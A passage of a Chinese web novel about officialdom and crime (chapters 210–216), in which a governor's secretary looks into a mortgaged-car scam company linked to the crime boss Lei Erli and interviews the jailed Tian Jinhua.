“就是看短视频刷到的,网上很多人卖这种车的。” 张馨说着,掏出手机,翻找出视频:“我爸就是在他家买的车。” 当李承看到视频上出镜的人时,顿时觉得眼熟! 第210章 这个女人 “各位老板,最新到家一台18年的梅赛德斯迈巴赫S450,当年落地价将近二百万,全车原版原漆,实表两万三千公里,二手行情还要卖到将近一百万。 现在这台车,在妹妹这里,只要十三万八,全款迈巴赫提回家!” 视频里,一个长相妖艳,前凸后翘的女人,正在介绍着一台迈巴赫汽车。 女人穿着OL制服,踩着高跟鞋,背景是在一个装修豪华的汽车展厅内。 女性本身就能降低男人的防备心,外加豪华的汽车展厅,就会给人一种错觉,认为她们这么大的汽车公司,不会因为诈骗十几万块钱而影响了声誉。 往往客户就是抱着这样的侥幸心理,最后落入了圈套之中。 “手机给我一下。” 李承看着女人的样貌,觉得十分眼熟,他从张馨手里接过手机,将视频扩大到对方的脸和身材上。 认真端详过,李承有了些许印象,但还不敢能确定。 她退出了这个视频,又翻开了一下其他视频。 终于在一个低胸装的视频里,李承确定了这个女人的身份! “你认识她?” 许梦见李承不停地翻开视频,问。 “有点眼熟,想不起来了。”李承摇了摇头,将手机还给了张馨。 他想起了这个女人是谁,但李承和女人见面的场景很尴尬,他没办法解释。 提起这个女人,还要追溯到雄黄矿事件。 当初调查雄黄矿,李承被田进华的手下从家门口绑架。 他被扒光衣服,在外面冻了很久后,田进华给他‘请’上了房车。 房车里有两名赤裸女人,是田进华给李承准备的‘礼物’,一个成熟少妇,一个年轻姑娘。 而视频中卖车的女人,就是那位成熟少妇。 李承对她印象最深的,就是她胸口处纹了一只蝴蝶。 在一个低胸装的视频里,李承看到了侧漏出的蝴蝶翅膀,才确定了对方身份。 如此看来,这个抵押车公司跟雷二利的犯罪团伙,有关系! “你明天还要上班呢,早点回去休息吧,今晚我陪张馨在这里。”许梦看了一眼时间,已经凌晨两点了,关心地劝李承。 “我怎么能放心你在这里,病房里也有床,就在这对付一晚上吧。” 把许梦丢在医院,自己一个人回家,李承心里过意不去,觉得这样缺少了一份责任感。 而且,万一张馨的父亲在重症监护室有什么突发意外,她们两个女生也需要一个主心骨。 “没关系的,工作要紧。”许梦说。 李承的工作压力很大,每天休息的时间有限,她不想影响李承的工作状态。 “哪位是张国军的家属?” 正在这时,一个小护士带着三男一女,朝着这边走来,开口问。 “我是。” 张馨听到护士的招呼,她主动迎了过去,紧张地问:“怎么了?护士?” “这有三个人想见你。”护士说。 “你是张国军的女儿吧?我们想跟你谈谈。”那位美艳女人看向张馨,开口道。 李承的目光,在这三个人赶到时,就落在了这女人的身上。 正是那晚在房车里,一丝不挂想要服务李承的成熟少妇。 李承注意到了她,但并未走过去,他想看看这些人的来意。 女人的目光,只是在李承和许梦的身上扫过,并未停留,便落在了张馨的身上。 “我认识你,你就是卖给我爸车的人!” 张馨看到对方,表情变得怒不可遏起来。 她爸爸命悬一线,这个责任,全部被她怪罪了这个女人的身上。 “你想跟我谈什么?”张馨冷声说。 “和解。” 女人淡淡地吐出了两个字。 “不可能,你们把我爸害成这个样,我不可能跟你们和解,咱们就公安局里见!” 张馨态度强硬,摆出一副决不罢休的样子。 “这是一百万,你好好考虑一下。” 女人压根没有理会张馨的态度,她转过头,目光扫了一眼身边的下属。 在她的眼神示意下,那名男人将一个手提箱端了起来。 女人打开手提箱,里面铺满的一捆捆现金,十万一捆,一共有十捆。 当看到这些现金时,张馨犹豫了。 “这些是赔偿款,医药费另算,给句话,是走司法程序,还是签和解?”女人眼神淡漠地道:“但也要提醒你,你不签和解,以后你一分钱也拿不到!” 这种眼神,与那晚她去勾引李承的眼神,是完全不一样的。 “有钱就了不起吗?差点捅死了人,就不需要承担法律责任?”许梦走上前,愤愤不平地道。 “这件事,跟你没关系吧?”女人扫了一眼许梦,轻蔑地说。 换做以往,她压根不会亲自跑一趟,跟家属谈和解。 做的是这个江湖行业,若是靠和解平事,早就破产了。 以前发生这种情况,就是找关系把事情压到最小,然后找个小弟进去蹲两年,一分钱不可能赔偿。 现在形势不同。 这件事的发生,正好赶在了省里扫黑除恶的风口上。 谁都不想当这个出头鸟,只好选择跟家属和解,把这种刑事案件,通过私了的方式解决。 “我....” “我愿意和解,但必须签协议,我爸爸的医疗费用,你们必须全出。” 许梦还想说什么,可不等她讲话,张馨妥协了。 医疗费用对方全包,还额外给一百万的赔偿款,对于张馨这种农村孩子来说,怎么可能会不心动呢? “嗯,没问题。” 女人满意地点了点头:“做人就要识相一点,拿了这一百万,你爸爸都可以买一趟能过户的揽胜了。” 张馨都妥协了,许梦也不好再说什么,悻悻地闭上了嘴。 李承则站在后面,没有参与过去。 这是张馨个人的决定,他不会干涉,但是,这个案子李承已经记下了。 “小刘,你去把协议起草一下。” 女人对身后下属吩咐了一声,随后坐在了走廊的长椅上,看起手机。 十分钟后,那名下属走了过来,将协议递给了女人。 女人扫了一眼,将协议递给了张馨:“看一眼,没问题就签个字。” 第211章 无话可谈 “姐夫,你替我看一眼吧,我怕有什么文字陷阱。” 张馨并未看出协议的问题,为了稳妥起见,她将请求的目光看向了李承。 李承是省长的秘书,在这一方面肯定比她懂。 “嗯。” 张馨已经走向了自己,李承也不好拒绝,从他手里拿过了协议。 “没什么问题。” 协议写得清清楚楚,内容简单明了,没什么漏洞。 “李处长?” 当李承将协议递给张馨时,女人的目光整停留在他的脸上,惊讶地说。 “你是?” 李承装作不认识的样子,问。 “我看过你在《东江问政》上的节目,都传你和许梦是情人关系,今天一看,果不其然呀,哈哈...” 女人见李承没认出她来,自然也不敢提那晚的经历,笑着说。 她早就认出了许梦,只是懒得搭理。 李承不同,那是省长的秘书,万一认出了她,借机算旧账,她们的下场可就惨了。 这一百万的和解费,也是打水漂。 而李承装作不认识对方,就是怕对方知道在劫难逃,便不跟张馨和解,那样的话,自己反而帮了倒忙。 “嗯,我和许梦都快结婚了。”李承微微一笑,对她说。 “郎才女貌,真好。” 女人附和地说完,对张馨道:“你再仔细看看协议,想想有没有什么要补充的,我去一趟洗手间。” 说完,她转身离开。 看着她的背影,李承推测,对方应该是打电话去汇报情况。 大概十分钟,女人再次返回。 “没什么问题,我已经签好了字。”张馨把签好字的协议递给女人,说。 “我刚才接到公司的通知,和解的事情,先放一放。” 女人说完,将钱收了起来,把协议递还给了张馨。 “李处长,我们先走了。” 说完,她挥了挥手,带人离开了。 “姐夫,她这是什么意思呀?” 张馨一脸懵,完全搞不到对方是什么情况。 她求助的看向李承。 “可能他们和公司没谈拢吧,没事,我会帮你讨回公道。”李承的脸色沉了下来。 他清楚,女人突然改变主意,就是因为见到了自己。 他们公司不打算浪费这笔费用,至少,暂时不打算。 “谢谢你,姐夫。” ..... 这一晚,李承和许梦在医院的病房内对付了一宿,陪着张馨。 她家是农村的,那些亲戚是第二天一早才赶过来。 出了医院,李承将许梦送回家补觉,自己则要上班。 目送许梦走进单元,李承打了一个哈欠,准备前往迎宾馆。 ‘咚咚...’ 正当他准备起步时,主驾驶的玻璃被敲响。 李承转头看去,见到了那个女人。 “有事吗?” 李承降下车窗,问。 “李处长,方便跟你聊一聊吗?”女人妩媚一笑,问。 李承看了一眼腕表上的时间,说:“上车吧,你只有五分钟的时间。” “好。” 女人从车头绕了过去,坐进副驾驶:“李处长,你可以先往单位开,我们路上说。” “你还有四分四十秒。”李承再次看了一眼手表,说。 “你应该还不知道我的名字,先自我介绍一下,我叫伊莉莎。”女人自我介绍道。 “伊丽莎白吗?”李承调侃一句。 “呵呵...是有很多人这么调侃我。” 伊莉莎撩了一下秀发,说:“李处长,您晚上有时间吗?我们老板想请您吃个饭。” “你们老板是谁?”李承问。 “李处长,我知道你认出了我,应该也能猜到我们老板是谁。”伊莉莎直接摊了牌。 那一晚,她抱向了李承,想用身体帮李承取暖。 虽说,被李承呵斥阻拦,但两个人仍有一些身体接触,况且,那么近的距离,她身上那么明显的纹身,她不认为李承记不住。 “呵呵...” 李承冷笑两声:“你觉得,我和你老板有什么好谈的吗?” “你朋友父亲的赔偿款,就值得一谈,伤害他父亲的人,是清收队,跟我们公司没关系,公司也没义务赔偿。 你朋友应该也没钱给她爸爸看病吧。” 伊莉莎言辞中带着威胁。 他们做抵押车这一行,早就做好了关系切割,清收队是单独的一个部门。 这些人,属于是社会的闲散人员,并不挂靠公司。 若是伊莉莎他们不认账,从法律层面上,张馨没有权力去追究他们。 而那些社会闲散人员压根没钱赔,也不会赔,到最后就是认蹲监狱的结果收尾。 “威胁我?”李承反问。 “李处长,您说的这是哪里话,我们不是威胁,是在商量。”伊莉莎道。 “没关系,你们不愿意赔,可以不赔,我们按照法律程序走。” 李承再次看了一眼手表的时间,说:“五分钟到了,下车吧。” “那好吧。” 伊莉莎无奈一笑,从包中拿出一张名牌放在车的扶手箱上:“李处长,这是我的名牌,如果你改变主意的话,记得打给我。” 说完,她拉开车门下了车。 李承也踩下了油门,朝着迎宾馆开去。 他并不想去冒险,跟雷二利扯上关系。 这并非是因为他跟张馨不熟悉,不在乎对方的情况。 这事的水很深,哪怕换做是自己亲戚,李承也不会答应这个饭局。 一来,沉江之事历历在目,他不想再经历一次。 那些刀尖舔血的江湖人,会不会狗急跳墙,再做出什么事情,李承不敢拿自己的生命安全去冒险。 二来,从职位的角度出发,李承也不能与这群人来往。 答应了这场饭局,有了这次接触,就算他们之间什么都没谈成,也会被有心之人做文章。 若是吃过饭,雷二利拿钱赔偿了张馨。 到时候,很多人就会认为,是李承滥用职权,用身份地位去压迫雷二利给钱。 甚至于,别人会猜想,这个赔偿只是一个引子,张馨只是给李承洗白的工具,那些赔偿款最后会有一部分落入李承的口袋。 这些可能发生的事情,李承都要避免,提前扼杀在摇篮之中! 至于说,张馨的赔偿款到最后能不能拿得到,只能说,在法律允许的范围内,李承会帮她争取一下。 第212章 套路很深 迎宾馆。 孟良德吃着早餐,目光落在李承的身上:“怎么看起来没精打采的,昨晚没休息好?” “嗯,昨晚去了一趟医院,后半夜才睡。” 李承还想着怎么跟孟良德提这件事,对方主动问了,李承也就借坡下驴,一步步地把话带出去。 “发生什么事了?”孟良德问。 “我一个朋友的父亲,买了一台抵押车被偷了,他去找车,结果被对方用刀捅伤了,还好,命保住了,人还在重症监护室。” 李承将情况大概讲述给了孟良德。 “凶手抓住了吗?”孟良德严肃地问。 “不清楚,已经报了警。” 李承抽出一张纸巾,擦了擦嘴:“昨天晚上卖车的公司来找她谈过和解,也没有达成。 但是,那伙人我认识,是雷二利的下属。” “他们还真敢往枪口上撞!” 孟良德听说跟雷二利有关,不禁轻哼一声:“这件事,你去联系宫庆鑫,让他亲自督办。 争取借这件事,把他们整个团伙一网打尽!” “好的老板。” ..... 回到省政府,李承给宫庆鑫去了一个电话,邀请他方便的时候,来一趟省政府。 这件事,在电话里三言两语说不清楚,还是要见面来聊。 李承给了宫庆鑫几个时间,这几个时间点,孟良德没有工作安排,李承也有空闲。 十点十分,宫庆鑫来到了李承的秘书间。 “宫局,坐。” 李承邀请宫庆鑫坐下后,起身给他倒了一杯水。 “李秘书,出了什么事情?”宫庆鑫接过水杯,说。 李承邀请他过来时,说有一个案子要跟他当面探讨。 省长秘书,找他探讨案子,选择的地点还是在省政府,就代表一定是出现了什么严肃的问题,并且,这个问题得到了孟省长的注意。 “昨天晚上发生了一起故意伤害案,这件事是由一台抵押车引起....” 接下来,李承将事情讲述给了宫庆鑫:“据我了解,这家抵押车公司的幕后老板是雷二利。” “这个抵押车公司,我听说过,这几年他们闹出过不少事。” 李承给宫庆鑫看了对方的平台账号,宫庆鑫也认出了这家公司。 对于这个抵押车公司,几年前他就关注到了。 “那怎么一直没解决?”李承问。 “这个公司体系很复杂,而且办案的阻碍很多。” 宫庆鑫从口袋里掏出烟盒,犹豫了一下,又塞了回去:“这家公司就是一个典型套路公司,但他们钻了法律的空子。 抵押车这东西,不属于汽车买卖,而是债权转让。 清收队偷车,也不在盗抢的范畴内,属于是债务纠纷问题,这是他们钻的法律空子。 而这家公司,是利用了人们占小便宜的心里,低价卖车,然后再找清收队,抢回来,进行来回转卖。” 宫庆鑫的介绍,让李承对于这些套路再次有了深度了解。 “那这种行为,不算是诈骗吗?”李承问。 卖出去的债权,自己在偷回来,李承认为,这是诈骗的范畴了。 “这就是套路了,他们的清收队跟公司无关,偷回来了车,也不会继续在原有展厅进行销售,而是流向全国各地。 干他们这一行的,好像有个什么联盟,就是通过这种打配合方式,来规避诈骗的风险。” 宫庆鑫再次解释道:“而往往这种车,都会同时抵押给多个金融公司,涉及的纠纷多了,他们的行为合法性,也就高了。 到最后,就是普通购车的老百姓认栽,给自己的贪婪买单。” “哦,这么回事呀。” 李承点了点头,心里也是对这种套路公司的手段,感到了惊叹。 虽说,这是游走在法律边缘的勾当,可他们的方式方法,在追求暴利的同时,又稳定了安全性。 用纠纷的幌子,干着诈骗的事情,想出这种方式挣钱的人,也算是个人才了。 “宫局,但你说的办案阻碍,应该不是指的这个吧?” “嗯,这个公司关系网很大,常厅长就为这家公司打过招呼。”宫庆鑫道。 “纠纷的事情,咱们先放在一边,现在是这群人动手捅了人,涉及到了刑事犯罪,这个必须查。 孟省长的意思是,要跟着这条线,把他们后面的人一窝端!” 李承将孟良德的指示传达给宫庆鑫:“现在正是扫黑除恶的紧要关头,这群人,抓住之后,必须当典型来打。” “嗯,明白。”宫庆鑫应道。 “你们最近对雷二利团伙的调查,有没有其他进展?”李承问。 扫黑除恶开展后,市局主要的侦查对象就是雷二利。 “抓了他的几个下属,但都没有直接证据确定他们跟雷二利的关系,雷二利在自我保护的方面,做得很到位。” 宫庆鑫惆怅地说。 宫庆鑫跟常百利不同,他是一个好局长,更是一名好警察。 对于打击犯罪这件事,他向来会尽全力。 从他当分局局长时,就有过想抓雷二利的念头,但直到他坐上了市局局长,也一直没有找到这个机会。 雷二利的手下抓了不少,可一旦牵扯到雷二利的关联,就会中断。 以至于时至今日,雷二利仍能逍遥法外。 “那你觉得,这个案子能抓捕到他的几率,大吗?”李承问。 “我会尽全力,鲁厅长现在任职,几率肯定是有的。”宫庆鑫委婉地说道。 这句话,既表明了抓捕雷二利的希望仍是渺茫。 也变相说了常百利曾对雷二利的包庇。 “有任何人干涉你们的办案,你可以第一时间跟省政府做出汇报,孟省长会帮你扫清障碍。” 李承认真地说。 也是在给宫庆鑫撑住底气。 秘书是省长的‘嘴’,他的话,就能代表省长的意思。 “嗯,我一定会尽力。”宫庆鑫道。 “没其他事情的话,就不耽误宫局的时间了。”李承站起身,说。 “那我先回去了。” 宫庆鑫跟李承告辞后,离开了办公室。 他离开后,李承则走进了省长办公室。 第213章 ‘礼物\’ “宫庆鑫走了?” 孟良德正在看资料,见李承进门,他抬起了头。 “刚走。”李承道。 “刚才鲁林给我打来了电话,关于雷二利的境外庇护所问题,已经有了消息,在尼加哥。 我会协调各个部门,开展对于境外庇护所的打击行动。 你抽空去见一下田进华,看看能不能从他那里得到更多的消息。”孟良德平静地说。 “好的省长。”李承点头答应。 正常来讲,协调各个部门是有省办公厅去牵头,可现在,孟良德准备亲自去给多各部门电话协调,这证明,孟良德是准备动真格的了。 单单是一个雷二利,不值得这位封疆大吏这般费心思。 这其中,涉及孟良德与雷二利背后保护伞的矛盾和冲突。 要知道,雷二利给那些下属家人提供的境外‘牢笼’,在尼加哥。 我国和尼加哥并没有引渡条款,我国的警方在当地也没有执法权,只能通过司法合作的方式,来解决。 这件事的难度很大,对方是否愿意配合,也是一个未知数。 而且内部执行起来,也需要一定的考验,这不仅仅是孟良德职权能解决的问题,其中,还会涉及到一些他的人脉。 最近一段时间,李承明显能感觉出来,孟良德对于花海集团体系下的调查,抓得越来越紧。 这不禁让李承再次联想到张英双提起过的那件事。 恐怕,孟省长真的要被调任回京。 而孟良德做的一切,或许是在临走前的反扑,亦或者在用实际行动跟上级去争取留任。 ..... 晚上八点,李承在宫庆鑫的陪同下,来到了关押田进华的看守所。 田进华涉嫌的案件不止绑架李承这一件,有些连带案件还在调查取证中,所以,他仍在看守所羁押,等待调查结束的判决。 进入看守所,全程是由宫庆鑫在交涉工作。 李承则进入到一间审讯室内,等待司法人员将田进华带来。 大概五分钟,田进华被押送进了审讯室,关到了审讯椅内。 “你们都出去吧。” 宫庆鑫冲着其余人员摆了摆手,道。 “宫局,那有什么吩咐,您尽管叫我们。” 副所长恭敬的说完,带人退出了审讯室,将房间留给李承,宫庆鑫和田进华三人。 “李秘书,好久不见了。” 田进华看到椅子上,正一脸严肃的李承,嘴角扯出一抹笑容。 “看样子招待所的伙食不错嘛,都胖了。” 几个月不见,田进华最大的变化就是比之前胖了一些,皮肤白了一些。 “不用操心那么多的事情了,心宽体胖呗。”田进华笑呵呵地说。 虽然看守所的伙食照比外面有天差地别,但作息规律了,烟酒也戒了,还不用操心那些江湖事,心态放得宽,自然也就胖了起来。 “在这种地方,你还能把心放宽,心理素质不错呀。”李承道。 “哎...进来的次数多了,也就无所谓了,该吃吃该喝喝呗,都被关进来了,还操心那些没用的破事,不是自讨苦吃吗?” 田进华用手抹了一把脸,露出一排整齐的牙齿:“李秘书,你说是不是这个理?” “呵呵...” 李承不置可否地笑了笑,说:“省里已经对雷二利展开了调查,目前,已经有多个相关犯罪团伙被清除。 这次过来,就是想再问问你,关于他在北美给你们家属提供的庇护所,你知道多少具体信息?” 听到这件事,田进华脸上的笑容顿了顿,问:“你们都查到哪种程度了,抓了哪些人?” 李承的话,他不会轻信。 而他在这种地方,消息十分闭塞,对于外界发生的情况不了解。 “宫局,你跟他讲一下。” 关于警方对雷二利团伙调查和抓捕到什么程度,李承没有过问,只好将目光看向宫庆鑫。 “格林KTV的陈大龙,黑山街地下赌场的王小川,搞蔬菜批发的吴铁方,这些人已经全部归案。 目前,我们正在调查海汇精品特价车,以及他们背后的金融公司。” 宫庆鑫将这几天警方取得的成果,告知给了田进华。 听完他的讲述,就连李承也没想到,短短几天时间,他们已经抓获了这么多人,打击了这么多个犯罪团伙。 “嘶...你们动作很快嘛,看来这次是动真格的了。” 田进华禁了禁鼻子,贪恋的目光看向李承:“李秘书,能否给根烟抽,这些天可给我憋坏了。” “嗯。” 李承没有拒绝他,起身走到他的身旁,递了一根香烟和火机给田进华。 “舒服。” 田进华深深地吸了一口,满脸的享受表情。 他将火机还给李承,说:“感谢你这根香烟,不过,我无可奉告。” “别耍花样,现在是给你机会,等我们把雷二利的团伙彻底清楚,你再想说,也就没有这个立功的机会了!” 面对田进华的顽固,宫庆鑫厉声呵斥,像是审讯犯人一样。 对此,田进华只是不屑地轻哼一声:“呵...我需要你给我机会吗?” “田进华,你明知不说,这涉嫌包庇罪犯,我看你....” “宫局,抽根烟。” 见宫庆鑫在用对待普通犯人的方式对待田进华,李承连忙递过去一根香烟,打断了他。 田进华不是普通的犯人,监狱他就蹲了多次,对于这种老油子,拿法律的后果去威胁他,肯定不管用。 谈,就要跟他谈交易。 这笔交易,李承和田进华上次见面时,就已经开过一个头,只不过当时宫庆鑫不在,对于这件事不了解。 宫庆鑫点燃香烟,深吸了一口,没再讲话。 “田进华,我知道你在顾虑什么,这次省里是下定决心要铲除雷二利为首的涉黑团伙,他逃不掉的。” 李承认真且严肃的说道。 “李秘书,你们以为查到了这些,就很有成就感了吗?我实话告诉你们,你们能查到的这些,都是放在明面上的东西,不怕你们查。 甚至可以说,这是雷二利故意给你们查的,是送你们的‘礼物’,为的是给上面一个交代罢了。” 第214章 关键人物 田进华表情十分玩味,他对雷二利的套路很了解。 每次省里有什么扫黑除恶的行动时,他都会‘送礼’。 而这个‘送礼’,不是送钱,是故意送一批人进去,给上面的人完成指标。 上面的人完成了省里的任务,有了交代,对于雷二利等人也不会深究。 这早已经是多年来,心照不宣的默契了。 “送礼,你觉得谁会接受他的礼物?我身边这位宫局长吗?”李承面带微笑,目光盯着田进华的眼睛。 田进华与李承对视,这一次,他在李承的目光中看到了一种掌控大局的气魄。 这与当初他沉江李承时的眼神,有鲜明变化。 这种眼神,让田进华的心不自觉慌乱了一下:“宫局自然不是。” “那你说的人是常百利,还是梁俊义呀?”李承语气缓慢,却不失锋利。 他提到的两个人,一位是前任省公安厅厅长,一位是常务副厅长。 这两个人,都与雷二利有关联。 “我谁都没说,就算说了,你们也搞不掉,你不行。” 田进华抬起手,先是指向李承,随后又指向了宫庆鑫:“他更不行。” 说到这,他顿了顿,又说:“你上面的人,也未必行!” 李承上面的人,指的是孟良德。 在田进华看来,常百利是本地派系的人,京城方面还有一个大人物的公子罩着,没有人能动得了他。 孟良德也动不了。 可他进去的时间太久了,消息也闭塞了太久了。 “我看未必。” 李承轻笑一声,弹了弹烟灰:“常厅...不对,常副书记已经不是省公安厅长了,他被调任了。 现任公安厅长也不是梁俊义顺位,是从外省调来的。 这回,你该明白我为什么说,这一次雷二利在劫难逃了吗?” 听到这个消息,田进华的眉头皱成了川字,他瞪大了双眼,不可置信地看着李承。 “看看这个。” 李承知道对方不会只听信自己的一面之词,他翻找出鲁林就职公安厅长的照片,递到了他面前。 看完照片,田进华两指间夹着的香烟掉落在了地上。 他沉默了。 心里也在一点点的动摇。 “你女儿的安危,你就不担心吗?”李承恰到时机的开口,让田进华再次为之一惊。 “我女儿怎么了?”田进华焦急地问。 “我不想骗你,她怎么样,我不清楚。”李承说。 “那你提她干什么?” 田进华瞪着眼睛,质问李承。 他最在乎的人,就是他女儿,一点风吹草动,都会让他心慌。 “我虽然不知道她怎么样,但我知道她在哪里。”李承淡淡的道。 “在哪?”田进华问。 “在尼加哥。” 李承缓缓说出了地址:“据我们调查,雷二利给你们这些人亲属提供的庇护所,就在尼加哥。” 李承没有深说,但田进华的额头已经渗出了一层汗。 尼加哥是什么样的国家,不用李承说,他也清楚得很。 那是一个混乱不堪,惨不忍睹的国家,国家要员都可能当街被犯罪分子开枪打死。 更别提他们亲属这些外国人。 在那个地方,人命如草芥,没有任何的秩序。 地方武装割据,毒枭团伙林立,属于是罪恶的天堂,百姓的梦魇。 “政府已经开始与尼加哥进行沟通,但那种地方,如果你不能给提供一些线索的话,很难查呀。” 李承惆怅地叹了一口气,说:“我都为你女儿担心呀。” 闻言,田进华再次陷入沉默。 作为一名父亲,他比任何人都担心女儿的处境。 李承给他又递去了一根香烟,静静等待着。 “雷二利对自己的保护很好,说实话,直到现在我都没有得到他的完全信任,没有线索和证据给你们提供。” 田进华停顿一下,吸掉最后一口气:“不过我知道一个人,他一定可以帮你们抓捕雷二利。” “谁?”李承问。 “谢志强,外号老蒯,他最早跟着雷二利,他知道的更多。”田进华说。 “那他凭什么会帮我们?”李承问。 李承觉得,田进华能提到这个人,就一定有什么底气。 “他的妻子和孩子,在国外被杀,是因为雷二利,他们已经反目了,只要找到他,他会愿意帮忙的。”田进华道。 李承和宫庆鑫相视一眼后,李承说:“嗯,知道了,后续我们还会对你进行询问,希望你到时候也能够配合。” 说完,李承和宫庆鑫离开了审讯室。 “宫局,对于这个谢志强,你有过了解吗?”出了拘留所,两个人上了同一台车后,李承问。 “算是老熟人了。” 宫庆鑫眼神中带着回忆之色:“最早接触这个人的时候,还是95年,那时候我还是刑侦的小干警呢。 当时他是干了一起大案子,绑架了一个富商的孩子,敲诈勒索了三百万,三百万,放到今天也不是一个小数目呀。” “后来呢?”李承问。 “后来就抓到了他,他一个人扛下了所有,该说不说,这家伙绝对是个硬骨头。” 宫庆鑫回想到当时审讯谢志强的画面,不禁感慨:“换做是一般人,肯定是承受不了那种折磨的。” 95年,那时候没有什么天眼系统。 绝大部分的破案,实际上,实质证据只占一小部分。 多数情况是调查后,大致分析是谁犯了罪,就进行抓捕。 归案后,对方不认罪,就靠着刑讯逼供的方式,来破案。 这也是那个年代,冤案错案频发的原因。 不是所有警察都是福尔摩斯,能在细微中寻找出线索,最直观,也是最省时省力的办法,就是刑讯逼供。 李承在纪委经历的持久战,苦熬战,跟那个年代的手段比起来,根本不算什么。 “最后三百万找回来了吗?”李承问。 “没有,谢志强不开口,在那个年代,调查取证很难。” 宫庆鑫摇了摇头,说:“我个人估计,这三百万成为了雷二利的启动资金,才让他短短几年内,在汉江风生水起。” 第215章 内鬼 “雷二利的崛起,不是靠着出卖大哥吗?” 李承对于这些江湖事很感兴趣,不禁多问了几嘴。 他记得曾听人提起过,说雷二利的今天,靠的是背叛大哥。 “打铁还需自身硬,他是有了一定的势力后,才拜了吕广做干爹,后来,他靠着出卖他干爹,接手了全部生意,成为了汉江的江湖大哥。” 宫庆鑫耐心地跟李承解释。 对于汉江的江湖势力,他这位将近三十年的老警察最清楚。 “该说不说,雷二利这个人够心狠手辣,在他那里,真是做到了利益至上!”宫庆鑫感叹道。 “他已经逍遥得够久了,该到付出代价的时候了,他蹦跶不了多久。”李承说。 孟良德的态度很明确。 作为东江省的二把手,只要他一门心思查下去,对付一个涉黑组织,没人能拦得住他。 何况,在这件事里,省委书记马洪波也是支持态度。 再狠再厉害的涉黑头目,在政府面前,也只不过是螳臂挡车。 当年的大桥老四何等的辉煌,人送外号‘地下市长’,可当政府准备查办他的时候,他也没有抵抗之力。 “希望吧。” 宫庆鑫长长地叹了一口气:“这些年,我的梦想就是铲除这些黑恶组织,还汉江一个安宁,但我始终没做到。 希望这次行动,能够完成我这个愿望吧。” 一直以来,宫庆鑫励志于扫清这些黑恶势力,只不过,一直处于被压制的状态。 当干警的时候,被队长压制,当了队长被局长压制,当了分局局长后,被总局压制。 现在,他当了市局局长,却还要受到厅里压制。 “一定会!” ..... 金碧辉煌的地下赌场内。 一个长相十分端庄的男人,坐在休息区的沙发上,欣赏着那些赌客们的表情。 这个人就是雷二利。 他有一个特殊癖好,就是喜欢看别人的大喜大悲。 而在赌场里,每一把的赌局,都能看到那些赌客们极度的喜悦,和极度的失落,这种情绪十分满足他的内心。 他喜欢这种掌控别人喜怒哀乐的感觉。 这时,一个漂亮的年轻女人走到他身边,低语了几句。 听完女人的汇报,雷二利站起身,走进了自己的办公室。 在他的办公室内,站着一个中年男人。 他见雷二利进门,恭敬地微微鞠躬:“雷哥。” “嗯,坐吧。” 雷二利走到自己的老板椅上坐下后,这才回应中年男人。 如果李承和宫庆鑫在场的话,一定能认出这个中年男人,正是负责关押田进华的拘留所所长,张民。 “雷哥,今天晚上,孟省长秘书和宫局长一同见了田进华。”张民向雷二利汇报道。 “都说了什么?” 漂亮女人给雷二利点燃了一根雪茄。 他接过雪茄,裹了一口,问。 “我在外面,监控也被断了,具体我也不知道,但隐约间,我好像听到他们是要调查您。”张民道。 “你这他妈的不是废话吗?”雷二利冷笑一声。 “但我总觉得,他们可能问出来了点什么。”张民道。 “你为什么这么觉得?”雷二利问。 “就是看表情,直觉。”张民尴尬地回答道。 “嗯。” 雷二利知道,从张民这里也问不出其他。 他拿起手机,拨了一个视频过去。 视频很快接通,雷二利进行吩咐:“去教训一下田进华的女儿,拍几张照片过来。” 说完,他挂断了电话。 不一会,几张女孩被殴打的照片发送了过来。 其中一张,还是女孩被手枪顶住了脑袋。 雷二利将手机递给了身边的漂亮女人,吩咐道:“把这张照片打印出来。” “好的,老板。” 不一会儿的工夫,照片被打印了出来。 雷二利将照片递给了张民:“把这个给田进华看,让他老实一点。” “明白,雷哥。” 张民双手接过照片,点头应是。 与此同时,雷二利拉开的抽屉,从里面拿出一捆现金来,丢在了桌子上。 “谢谢雷哥。” 张民拿过钱,连连道谢。 ..... 李承回到家时,许梦已经洗漱好,躺下了。 “怎么不开心?” 看着许梦闷闷不乐的发呆,李承坐在她身边,摸了摸她的脸,问。 “唉...我是觉得,有时候做个好人挺难。”许梦叹了一气,幽怨地说。 “怎么了?”李承疑惑地问。 “张馨不知道从哪听到的消息,说抵押车公司那边取消赔偿,是因为你。 她下午特意跑到电视台来质问我,哼,没良心。” 许梦说出了自己忧愁的原因:“咱俩深更半夜跑过去帮她忙,她不领情也就算,还觉得是我们坏了她的事儿。 还不如昨晚就在家里睡觉,不管她了呢。” 许梦出于好心,尽了朋友的情分,在医院里住了一宿,都没休息好。 可张馨的做法,却寒了她的心。 但在张馨的角度来看,是因为许梦和李承的出现,才导致她错失了赔偿款。 在金钱面前,她不会想人情的问题。 “她说,让你去联系那边,把赔偿要回来,可笑吧?”许梦看着李承,无奈的道。 “今天早上那些人联系过我,被我拒绝了,我猜到他们会去把这件事跟张馨说,让她来劝我。 不过呢,该帮她要的赔偿,我会尽力争取,但不是通过那种方式。”李承说。 他知道,伊莉莎之所以拒绝赔偿,根本原因就是出在了自己身上。 可他不会通过私下的方式,去跟伊莉莎等人达成协议,这个浑水,他绝不会淌。 “我觉得就不该管....唉...算了,她也不容易,只要不影响你,该帮她就帮她一下吧。” 许梦心里是恼怒的,但她的心底是善良的。 想到张馨的处境,她也很同情。 “嗯。”李承点头。 “老公...我是不是给你添了麻烦?”许梦抱住李承,眨着大眼睛,有些丧气地问。 “怎么会呢?你也是好心。”李承抚摸着她的秀发,安慰道。 “你别嫌我麻烦就行。” 许梦的脸在李承的胸脯上蹭了蹭,低声羞涩说:“你累不累呀,我今晚想...” 第216章 不感兴趣 次日。 李承借着早餐的闲聊时间将昨晚去见田进华得到的消息汇报给了孟良德。 孟良德并没有过多询问此事这种事情对孟良德来说过于微不足道。 来到省政府。 李承在综合一处拿到行程表又安排了下综合一处的工作后回到自己的秘书间。 “李秘书忙着呢?” 李承屁股刚坐在椅子上封兰市长徐江笑盈盈地走了进来。 “徐市长您来的够早了。” 李承看了一眼行程表徐江的约见时间是十点半还有一个多小时。 “我昨晚就到了汉江想着今天早点过来碰碰运气万一孟省长有空闲时间我能多向他做些汇报。” 徐江坐在沙发上将公文包放在身旁。 李承给徐江倒了一杯水坐在他的对面:“看来这次徐市长的准备很充足呀。” “嗯自从上次孟省长视察后我们市里成立的项目调研小组其中还有位经济学博士呢。 我们对于雪村的现状以及未来发展进行系统化的分析一致认为扩建雪村对未来几十年的封兰旅游业发展都有十足的利好。 